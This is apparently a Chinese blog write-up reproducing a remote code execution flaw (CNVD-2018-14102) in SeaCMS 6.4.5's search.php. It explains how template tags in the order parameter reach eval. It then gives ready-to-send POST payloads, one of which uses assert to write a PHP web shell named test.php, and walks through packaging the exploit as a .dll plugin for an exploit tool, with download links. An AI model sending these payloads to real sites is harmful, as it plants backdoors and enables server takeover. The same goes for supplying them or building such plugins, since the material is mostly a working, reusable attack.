SeaCms6.4.5 远程代码执行漏洞复现


SeaCms6.4.5存在远程代码执行漏洞。

注:工具地址
更新4.2版本
链接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取码:rw8l
https://wws.lanzous.com/b01zycnta
密码:g3uz
开发手册地址:https://www.kancloud.cn/qq496672097/limanmanexp

漏洞点存在于search.php中。

漏洞的主要成因

search.php调用_RunMagicQuotes方法,将全局变量注册成变量。
在searchPHP中 echoSearchPage过滤不严,且直接将$order参数进行注册。
最后使用模板echoSearchPage()方法进行翻译,翻译的过程中使用模板标签,即可达到翻译之后的模板是PHP代码的目的。由于echoSearchPage()方法中的规定,代码中包含if的部分才能够被当作php代码进行解析。并且使用eval进行代码执行。所以还需要进行代码组装。
具体代码审计部分请参阅网络资料。

复现

搭建环境

使用Phpmystudy 进行搭建。 注意点:不能使用php7进行复现 。seacms仅支持非PHP7版本。

构造Post请求包

由已经公开的漏洞信息可以知道,触发点在search.php 。该PHP是首页的搜索功能。 计划使用burpsuit直接拦截数据包进行修改。

修改数据包内容

添加body内容为


searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')

发送即可生成文件名为test.php的木马文件。

limanmanExp插件制作

下载模板

https://www.kancloud.cn/qq496672097/limanmanexp/2139154
创建一个.net framework 4 库文件
下载模板,替换原有代码

设置class名称

设置class名称为CNVD_2018_14102

设置url

设置url为url["url"]+="/search.php"

设置body

需要注意的是, 这里的

searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')

VS会自动给你添加空格, 需要手动修正。 另外也需要注意转义等特殊字符。

设置header

由于是需要上传POST数据,那么就必须设置ContentType等头部。 需要注意的是, 这里的头部类型没有-,具体哪些头名称没有-,请参考手册

设置请求方式

请求方式与请求次数有关, 具体的请求关系图如下:

由于没有多次请求我们可以不管上面的图
直接将numberOfTime修改为2即可。

生成.dll文件。

点击 ”生成“-》”重新生成解决方案“即可在项目的bin->debug目录获得dll文件, 放入工具的插件目录即可

测试

由于只使用了一Poc开头的方法。 那么在工具中也只能点击POC按钮。
测试效果如下